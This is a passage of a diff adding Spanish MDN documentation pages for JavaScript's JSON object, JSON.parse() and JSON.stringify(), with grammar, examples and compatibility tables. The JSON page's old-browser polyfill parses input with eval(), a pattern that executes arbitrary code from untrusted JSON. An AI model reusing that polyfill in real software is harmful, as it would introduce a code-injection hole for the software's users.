+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.isNaN")}}</p>
+
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+
+<ul>
+ <li>{{jsxref("Objetos_globales/NaN", "NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/json/index.html b/files/es/web/javascript/referencia/objetos_globales/json/index.html
new file mode 100644
index 0000000000..2744fb71e5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/json/index.html
@@ -0,0 +1,231 @@
+---
+title: JSON
+slug: Web/JavaScript/Referencia/Objetos_globales/JSON
+tags:
+  - JSON
+  - JavaScript
+  - NeedsTranslation
+  - Object
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef("Objetos_globales", "JSON")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El objeto JSON contiene métodos para analizar <a class="external" href="http://json.org/">JavaScript Object Notation</a> (JSON) y convertir valores a JSON. No puede ser llamado o construído, y aparte de estas dos propiedades, no tiene funcionalidad interesante por sí mismo.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<h3 id="JavaScript_Object_Notation">JavaScript Object Notation</h3>
+
+<p>JSON es una sintaxis para serializar objetos, arreglos, números, cadenas, booleanos y nulos. Está basado sobre sintaxis JavaScript pero es diferente a ella: algo JavaScript no es JSON, y algo JSON no es JavaScript. Mira también: <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">JSON: The JavaScript subset that isn't</a>.</p>
+
+<table>
+ <caption>Diferencias entre JavaScript y JSON</caption>
+ <thead>
+  <tr>
+   <th scope="col">Tipo JavaScript</th>
+   <th scope="col">Diferencia JSON</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Objetos y arreglos</td>
+   <td>
+    <p>Los nombres de las propiedades deben tener doble comilla; las comas finales están prohibidas.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Números</td>
+   <td>Los ceros a la izquierda están prohibidos; <span id="result_box" lang="es"><span class="hps">un punto</span> <span class="hps">decimal</span> <span class="hps">debe ser seguido</span> <span class="hps">al menos por un dígito</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>Cadenas</td>
+   <td>
+    <p>Solo un limitado conjunto de caracteres pueden ser de escape; ciertos caracteres de control estan prohibidos; los caracteres de separador de linea Unicode (U+2028) y el separador de parrafo (U+2029) son permitidos; las cadenas deben estar entre comillas dobles. Mira el siguiente ejemplo donde {{jsxref("JSON.parse")}} funciona bien y un{{jsxref("SyntaxError")}} es generado cuando se evalua el codigo como JavaScript:</p>
+
+    <pre class="brush: js notranslate" id="comment_text_1">
+var code = '"\u2028\u2029"';
+JSON.parse(code); // works fine
+eval(code); // fails</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La sintaxis JSON completa es la siguiente:</p>
+
+<pre class="eval notranslate"><var>JSON</var> = <strong>null</strong>
+    <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong>
+    <em>or</em> <var>JSONNumber</var>
+    <em>or</em> <var>JSONString</var>
+    <em>or</em> <var>JSONObject</var>
+    <em>or</em> <var>JSONArray</var>
+
+<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var>
+          <em>or</em> <var>PositiveNumber</var>
+<var>PositiveNumber</var> = DecimalNumber
+              or <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var>
+              or <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var>
+              or <var>DecimalNumber</var> <var>ExponentPart</var>
+<var>DecimalNumber</var> = <strong>0</strong>
+             <em>or</em> <var>OneToNine</var> <var>Digits</var>
+<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var>
+            <em>or</em> <strong>E</strong> <var>Exponent</var>
+<var>Exponent</var> = <var>Digits</var>
+        <em>or</em> <strong>+</strong> <var>Digits</var>
+        <em>or</em> <strong>-</strong> <var>Digits</var>
+<var>Digits</var> = <var>Digit</var>
+      <em>or</em> <var>Digits</var> <var>Digit</var>
+<var>Digit</var> = <strong>0</strong> through <strong>9</strong>
+<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong>
+
+<var>JSONString</var> = <strong>""</strong>
+          <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong>
+<var>StringCharacters</var> = <var>StringCharacter</var>
+                <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var>
+<var>StringCharacter</var> = any character
+                  <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F
+               <em>or</em> <var>EscapeSequence</var>
+<var>EscapeSequence</var> = <strong>\" </strong><em>or</em> <strong>\/ </strong><em>or</em> <strong>\\ </strong><em>or</em> <strong>\b </strong><em>or</em> <strong>\f </strong><em>or</em> <strong>\n </strong><em>or</em> <strong>\r </strong><em>or</em> <strong>\t</strong>
+              <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var>
+<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong>
+        <em>or</em> <strong>A</strong> through <strong>F</strong>
+        <em>or</em> <strong>a</strong> through <strong>f</strong>
+
+<var>JSONObject</var> = <strong>{</strong> <strong>}</strong>
+          <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong>
+<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+       <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+
+<var>JSONArray</var> = <strong>[</strong> <strong>]</strong>
+         <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong>
+<var>ArrayElements</var> = <var>JSON</var>
+             <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var></pre>
+
+<p>Espacios en blanco insignificantes pueden estar presentes en cualquier lugar excepto en un <var>JSONNumber</var> (los números no deben contener ningún espacio) o en una <var>JSONString</var> (donde es interpretado como el caracter correspondiente en la cadena, o podría causar un error). Los caracteres de Tabulación (U+0009), de retorno de carro (U+000D), de nueva línea (U+000A), y de espacio (U+0020) son los únicos caracteres de espacios en blanco válidos.</p>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>Analiza una cadena de texto JSON, opcionalmente transformando el valor producido y sus propiedades, retornando el valor.</dd>
+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>Devuelve un string JSON correspondiente al valor especificado, incluyendo opcionalmente ciertas propiedades o reemplazando valores de propiedades de la manera definida por el usuario.</dd>
+</dl>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>El objeto JSON no es soportado por navegadores antiguos. Se puede solucionar esto insertando el siguiente código al inicio del script, permitiendo usar el objeto JSON en navegadores que no soportan su implementación de forma nativa (por ejemplo en Internet Explorer 6).</p>
+
+<p>El siguiente algoritmo es una imitación del objeto JSON nativo:</p>
+
+<pre class="brush: js notranslate">if (!window.JSON) {
+  window.JSON = {
+    parse: function (sJSON) { return eval("(" + sJSON + ")"); },
+    stringify: function (vContent) {
+      if (vContent instanceof Object) {
+        var sOutput = "";
+        if (vContent.constructor === Array) {
+          for (var nId = 0; nId &lt; vContent.length; sOutput += this.stringify(vContent[nId]) + ",", nId++);
+            return "[" + sOutput.substr(0, sOutput.length - 1) + "]";
+        }
+        if (vContent.toString !== Object.prototype.toString) {
+          return "\"" + vContent.toString().replace(/"/g, "\\$&amp;") + "\"";
+        }
+        for (var sProp in vContent) {
+          sOutput += "\"" + sProp.replace(/"/g, "\\$&amp;") + "\":" + this.stringify(vContent[sProp]) + ",";
+        }
+        return "{" + sOutput.substr(0, sOutput.length - 1) + "}";
+     }
+     return typeof vContent === "string" ? "\"" + vContent.replace(/"/g, "\\$&amp;") + "\"" : String(vContent);
+    }
+  };
+}
+</pre>
+
+<p>Los objectos <a class="link-https" href="https://github.com/douglascrockford/JSON-js" title="https://github.com/douglascrockford/JSON-js">JSON2</a> y <a class="external" href="http://bestiejs.github.com/json3" title="http://bestiejs.github.com/json3">JSON3</a> son mas complejos que el objeto JSON ya que manejan <a class="external" href="http://remysharp.com/2010/10/08/what-is-a-polyfill/" title="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfills</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>8.0</td>
+   <td>10.5</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Basado en <a class="external" href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">Using native JSON</a></li>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/json/parse/index.html b/files/es/web/javascript/referencia/objetos_globales/json/parse/index.html
new file mode 100644
index 0000000000..d8816fe8ff
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/json/parse/index.html
@@ -0,0 +1,178 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Referencia/Objetos_globales/JSON/parse
+tags:
+  - ECMAScript5
+  - JSON
+  - JavaScript
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef("Global_Objects", "JSON")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <code><strong>JSON.parse()</strong></code> analiza una cadena de texto como JSON, transformando opcionalmente  el valor producido por el análisis.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>JSON.parse(<em>text</em>[, <em>reviver</em>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>El texto que se convertirá a JSON. Vea el objeto {{jsxref("JSON")}} para una descripción de la sintaxis JSON.</dd>
+ <dt><code>reviver</code> {{optional_inline()}}</dt>
+ <dd>Si una función, <span id="result_box" lang="es"><span class="hps">prescribe</span> <span class="hps">cómo se transforma</span> <span class="hps">el valor producido</span> <span class="hps">originalmente por</span> <span class="hps">el parsing</span></span>, antes de retornar.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Retorna el objeto que se corresponde con el texto JSON entregado.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Lanza una excepción {{jsxref("SyntaxError")}} si la cadena a transformar no es un JSON válido.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Usando_JSON.parse()">Ejemplo: Usando <code>JSON.parse()</code></h3>
+
+<pre class="brush: js">JSON.parse('{}');              // {}
+JSON.parse('true');            // true
+JSON.parse('"foo"');           // "foo"
+JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+JSON.parse('null');            // null
+</pre>
+
+<h3 id="Ejemplo_Usando_el_parámetro_reviver">Ejemplo: <code>Usando el parámetro reviver</code></h3>
+
+<p>Si se especifica un reviver, el valor computado por el parsing <em>es transformado </em>antes de retornar. Específicamente, el valor computado, y todas sus propiedades (comenzando con las propiedades más anidadas y siguiendo al propio valor original), son individualmente ejecutados a través del <code>reviver</code>, el cual es llamado con el objeto que contiene la propiedad que está siendo procesada como <code>this</code> y con el nombre de la propiedad como cadena y el valor de la propiedad como argumentos. Si la función <code>reviver</code> retorna <code>undefined</code> (o no retorna algún valor, por ejemplo: si la ejecución cae el final de la función), la propiedad es eliminada del objeto. De otra manera, la propiedad es redefinidad para ser el valor de retorno.</p>
+
+<p>El <code>reviver</code> es llamada último con la cadena vacía y el valor más alto <span class="short_text" id="result_box" lang="es"><span class="hps">para permitir</span> <span class="hps">la transformación</span> <span class="hps">del valor</span> <span class="hps">más alto</span></span>. <span class="short_text" id="result_box" lang="es"><span class="hps">Asegúrese de</span> <span class="hps">manejar este caso</span> <span class="hps">adecuadamente</span></span>, <span id="result_box" lang="es"><span class="hps">por lo general</span> <span class="hps">mediante la devolución del</span> <span class="hps">valor proporcionado</span></span>, o <code>JSON.parse</code> will retorna <code>undefined</code>.</p>
+
+<pre class="brush: js">JSON.parse('{"p": 5}', function (k, v) {
+    if(k === "") return v;     // if topmost value, return it,
+    return v * 2;              // else return v * 2.
+});                            // { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2,"3": {"4": 4, "5": {"6": 6}}}', function (k, v) {
+    console.log(k);            // log the current property name, the last is "".
+    return v;                  // return the unchanged property value.
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""
+</pre>
+
+<h3 id="JSON.parse()_no_admite_comas_finales"><code>JSON.parse()</code> no admite comas finales</h3>
+
+<pre class="example-bad brush: js example-bad line-numbers  language-js"><code class="language-js"><span class="comment token">// ambos lanzarán un SyntaxError</span>
+JSON<span class="punctuation token">.</span><span class="function token">parse</span><span class="punctuation token">(</span><span class="string token">'[1, 2, 3, 4, ]'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+JSON<span class="punctuation token">.</span><span class="function token">parse</span><span class="punctuation token">(</span><span class="string token">'{"foo" : 1, }'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial.<br>
+    Implementado en JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>8.0</td>
+   <td>10.5</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Based on <a class="external" href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p>
+
+<h3 id="Especificaciones_Gecko">Especificaciones Gecko</h3>
+
+<p>Comenzando con Gecko 29 {{geckoRelease("29")}},<span class="short_text" id="result_box" lang="es"><span class="hps"> unas cadenas JSON malformadas</span></span><span class="short_text" lang="es"><span class="hps"> producen</span> </span><span id="result_box" lang="es"><span class="hps">un mensaje</span> <span class="hps">de error más detallado</span> <span class="hps">que contiene el</span> <span class="hps">número de línea y</span> <span class="hps">columna</span> <span class="hps">que provocó el</span> <span class="hps">error de parsing</span></span>. Esto es útil cuando se está haciendo debug de un JSON grande.</p>
+
+<pre class="brush: js">JSON.parse('[1, 2, 3,]')
+// SyntaxError: JSON.parse: unexpected character at
+// line 1 column 10 of the JSON data
+</pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">Utilizando</a> <a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">JSON nativo</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/json/stringify/index.html b/files/es/web/javascript/referencia/objetos_globales/json/stringify/index.html
new file mode 100644
index 0000000000..13f508d7f7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/json/stringify/index.html
@@ -0,0 +1,265 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Referencia/Objetos_globales/JSON/stringify
+tags:
+  - JSON
+  - JavaScript
+  - Method
+  - stringify
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<p>{{JSRef}}</p>
+
+<p>El método <code><strong>JSON.stringify()</strong></code> convierte un objeto o valor de JavaScript en una cadena de texto JSON, opcionalmente reemplaza valores si se indica una función de reemplazo, o si se especifican las propiedades mediante un array de reemplazo.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>El valor que será convertido a una cadena JSON.</dd>
+ <dt><code>replacer</code>{{Optional_Inline}}</dt>
+ <dd>Una función que altera el comportamiento del proceso de conversión a cadena de texto, o un array de objetos {{JSxRef("String")}} o {{JSxRef("Number")}} que representan una lista de elementos válidos que se incluyen en la cadena JSON. Si este valor es {{JSxRef("null")}} o no se define, todas las propiedades del objeto son incluidas en la cadena de texto JSON resultante.</dd>
+ <dt><code>space</code>{{Optional_Inline}}</dt>
+ <dd>Un objeto de tipo {{JSxRef("String")}} o {{JSxRef("Number")}} que se utiliza para insertar un espacio en blanco dentro de la cadena de salida JSON para mejorar su legibilidad.
+ <p>Si es de tipo <code>Number</code>, indica el número de espacios a usar como espacios en blanco; este número está limitado se limita a 10 (si es mayor, el valor es sólo <code>10</code>). Los valores inferiores a 1 indican que no se deben utilizar espacios.</p>
+
+ <p>Si es de tipo <code>String</code>, la cadena de texto (o sus 10 primeros caracteres, si es mayor) se utiliza como espacios en blanco. Si este parámetro no se define o es {{JSxRef("null")}}, no se utilizará ningún espacio en blanco.</p>
+ </dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena de texto JSON que representa el valor dado.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Lanza una excepción {{JSxRef("TypeError")}} ("cyclic object value") cuando encuentra una referencia circular.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>JSON.stringify</code> convierte un valor a notación JSON representándolo:</p>
+
+<ul>
+ <li>Si el valor tiene un método <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/JSON/stringify$edit#toJSON()_behavior">toJSON()</a>, es responsable de definir qué será serializado.</li>
+ <li>Los objetos {{JSxRef("Boolean")}}, {{JSxRef("Number")}}, and {{JSxRef("String")}} se convierten a sus valores primitivos, de acuerdo con la conversión semántica tradicional.</li>
+ <li>Si durante la conversión se encuentra un {{JSxRef("undefined")}}, una {{JSxRef("Function")}}, o un {{JSxRef("Symbol")}} se omite (cuando se encuentra en un objeto) o se censura a {{JSxRef("null")}} (cuando se encuentra en un array). <code>JSON.stringify()</code> puede devolver <code>undefined</code> cuando se pasan valores "puros" como <code>JSON.stringify(function(){}</code>) o <code>JSON.stringify(undefined)</code>.</li>
+ <li>Todas las propiedades que utilicen {{JSxRef("Symbol")}} en los nombres de la clave se ignoran por completo, incluso si utilizan una función <code>replacer</code>.</li>
+ <li>Las instancias de {{JSxRef("Date")}} implementan la función <code>toJSON()</code> devolviendo una cadena de texto (igual que <code>date.toISOString()</code>). Por lo que son tratadas como strings.</li>
+ <li>Los números {{JSxRef("Infinity")}} y {{JSxRef("NaN")}}, así como el valor {{JSxRef("null")}}, se consideran <code>null</code>.</li>
+ <li>El resto de instancias de {{JSxRef("Object")}} (incluyendo {{JSxRef("Map")}}, {{JSxRef("Set")}}, {{JSxRef("WeakMap")}}, y {{JSxRef("WeakSet")}}) sólo tendrán serializadas sus propiedades enumerables.</li>
+</ul>
+
+<pre class="brush: js">JSON.stringify({});                    // '{}'
+JSON.stringify(true);                  // 'true'
+JSON.stringify('foo');                 // '"foo"'
+JSON.stringify([1, 'false', false]);   // '[1,"false",false]'
+JSON.stringify([NaN, null, Infinity]); // '[null,null,null]'
+JSON.stringify({ x: 5 });              // '{"x":5}'
+
+JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))
+// '"2006-01-02T15:04:05.000Z"'
+
+JSON.stringify({ x: 5, y: 6 });
+// '{"x":5,"y":6}'
+JSON.stringify([new Number(3), new String('false'), new Boolean(false)]);
+// '[3,"false",false]'
+
+// Elementos de array identificados por string no son enumerables y no tienen sentido en JSON
+let a = ['foo', 'bar'];
+a['baz'] = 'quux';      // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ]
+JSON.stringify(a);
+// '["foo","bar"]'
+
+JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });
+// '{"x":[10,null,null,null]}'
+
+// Estructuras de datos standard
+JSON.stringify([new Set([1]), new Map([[1, 2]]), new WeakSet([{a: 1}]), new WeakMap([[{a: 1}, 2]])]);
+// '[{},{},{},{}]'
+
+// TypedArray
+JSON.stringify([new Int8Array([1]), new Int16Array([1]), new Int32Array([1])]);
+// '[{"0":1},{"0":1},{"0":1}]'
+JSON.stringify([new Uint8Array([1]), new Uint8ClampedArray([1]), new Uint16Array([1]), new Uint32Array([1])]);
+// '[{"0":1},{"0":1},{"0":1},{"0":1}]'
+JSON.stringify([new Float32Array([1]), new Float64Array([1])]);
+// '[{"0":1},{"0":1}]'
+
+// toJSON()
+JSON.stringify({ x: 5, y: 6, toJSON(){ return this.x + this.y; } });
+// '11'
+
+// Símbolos:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'a symbol';
+  }
+});
+// undefined
+
+// Propiedades no enumerables:
+JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+</pre>
+
+<h3 id="El_parámetro_replacer">El parámetro <code>replacer</code></h3>
+
+<p>El parámetro <code>replacer</code> (de reemplazo) puede ser tanto una función como o un array.</p>
+
+<p><strong>Como una función</strong> toma dos parámetros: el <em>valor</em> y la <em>clave</em> que van a ser procesados. El objeto al cual pertenece la clave representa el parametro this del reemplazo.</p>
+
+<p>Inicialmente es llamado con una clave vacía y representa el objeto que se va a procesar, y solo después es llamado por cada propiedad en el objeto o array que se va a procesar.</p>
+
+<p>Devuelve el valor que se va a agregar a la cadena JSON, de la siguiente manera:</p>
+
+<ul>
+ <li>Si se devuelve un número, la cadena correspondiente es usada como el valor de la propiedad cuando se agrega a la cadena JSON.</li>
+ <li>Si se devuelve una cadena, esta es usuada cono el valor de la propiedad cuando se agrega a la cadena JSON.</li>
+ <li>Si se devuelve un Boolean, true o false son usados como el valor de la propiedad cuando se agrega a la cadena JSON.</li>
+ <li>Si se devuelve algún otro objeto, este es recursivamente procesado en una cadena JSON llamando a la función de reemplazo para cada propiedad, amenos que el objeto sea una función, en tal caso nada se agrega a la cadena JSON.</li>
+ <li>Si se devuelve undefined, la propiedad no se incluye en la salida de la cadena JSON.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> No se puede usar la función de reemplazo para borrar los valores de un array. Si se devuelve undefined o una función, entonces se usara null en su lugar.</div>
+
+<h4 id="Ejemplo_con_una_función">Ejemplo con una función</h4>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">replacer<span class="punctuation token">(</span></span>key<span class="punctuation token">,</span> value<span class="punctuation token">)</span> <span class="punctuation token">{
+  // Filtrando propiedades </span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> value <span class="operator token">===</span> <span class="string token">"string"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">return</span> undefined<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> value<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> foo <span class="operator token">=</span> <span class="punctuation token">{</span>foundation<span class="punctuation token">:</span> <span class="string token">"Mozilla"</span><span class="punctuation token">,</span> model<span class="punctuation token">:</span> <span class="string token">"box"</span><span class="punctuation token">,</span> week<span class="punctuation token">:</span> <span class="number token">45</span><span class="punctuation token">,</span> transport<span class="punctuation token">:</span> <span class="string token">"car"</span><span class="punctuation token">,</span> month<span class="punctuation token">:</span> <span class="number token">7</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> jsonString <span class="operator token">=</span> JSON<span class="punctuation token">.</span><span class="function token">stringify<span class="punctuation token">(</span></span>foo<span class="punctuation token">,</span> replacer<span class="punctuation token">)</span><span class="punctuation token">;</span>
+// '{"week":45, "month":7}'
+</code></pre>
+
+<p>El resultado en una cadena JSON sería:  <code>{"week":45,"month":7}</code>.</p>
+
+<p>Ejemplo con un array</p>
+
+<p>Si el reemplazo es un array, los valores indican los nombres de las propiedades del objeto que se va a incluir en la cadena JSON resultado.</p>
+
+<pre class="brush: js  language-js"><code class="language-js">JSON<span class="punctuation token">.</span><span class="function token">stringify<span class="punctuation token">(</span></span>foo<span class="punctuation token">,</span> <span class="punctuation token">[</span><span class="string token">'week'</span><span class="punctuation token">,</span> <span class="string token">'month'</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">
+// '{"week":45,"month":7}', sólo mantiene las propiedades de "week" y de "month"</span></code>
+</pre>
+
+<h3 id="Argumento_space">Argumento <code>space</code></h3>
+
+<p>Este argumento puede ser empleado para controlar el espaciado en la cadena final. Si es un número, los niveles sucesivos del proceso serán identados cada uno por tantos espacios como se indique (hasta 10). Si es una cadena, serán identados con dicha cadena (o los primeros diez caracteres de la misma).</p>
+
+<pre class="brush: js">JSON.stringify({ a: 2 }, null, ' ');
+// regresa la cadena de texto:
+// '{
+//  "a": 2
+// }'</pre>
+
+<p>Usar el carácter tabulador simula la apariencia de impresión:</p>
+
+<pre class="brush: js">JSON.stringify({ uno: 1, dos : 2 }, null, '\t')
+// devuelve el string:
+// '{            \
+//     "uno": 1, \
+//     "dos": 2  \
+// }' </pre>
+
+<h3 id="Comportamiento_toJSON()">Comportamiento toJSON()</h3>
+
